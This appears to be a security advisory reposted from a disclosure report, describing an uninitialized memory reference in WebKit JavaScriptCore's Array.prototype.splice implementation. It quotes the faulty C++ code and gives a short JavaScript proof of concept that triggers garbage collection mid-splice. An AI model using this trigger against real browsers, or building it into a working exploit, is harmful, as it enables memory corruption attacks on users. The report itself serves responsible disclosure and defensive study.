WebKit JSC arrayProtoFuncSplice Uninitiailzed Memory Reference

2017.07.26
Credit: lokihardt
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

WebKit: JSC: uninitialized memory reference in arrayProtoFuncSplice Here's a snippet of arrayProtoFuncSplice. EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec) { ... result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount); if (UNLIKELY(!result)) { throwOutOfMemoryError(exec, scope); return encodedJSValue(); } // The result can have an ArrayStorage indexing type if we're having a bad time. bool isArrayStorage = hasAnyArrayStorage(result->indexingType()); bool success = false; if (UNLIKELY(isArrayStorage)) { static const bool needToFillHolesManually = true; success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount); } else { ASSERT(hasUndecided(result->indexingType())); static const bool needToFillHolesManually = false; success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount); } if (UNLIKELY(!success)) { ASSERT(scope.exception()); return encodedJSValue(); } ... } |result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values. PoC: function gc() { for (let i = 0; i < 4; i++) new ArrayBuffer(0x1000000); } Array.prototype.__defineGetter__(1000, () => 0); for (let i = 0; i < 0x1000; i++) new Array(0x10).fill([{}, {}, {}, {}]); for (let i = 0; i < 0x1000; i++) { let x = {length: 0x10}; x.__defineGetter__(0, () => gc()); Array.prototype.splice.call(x, 0); } This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


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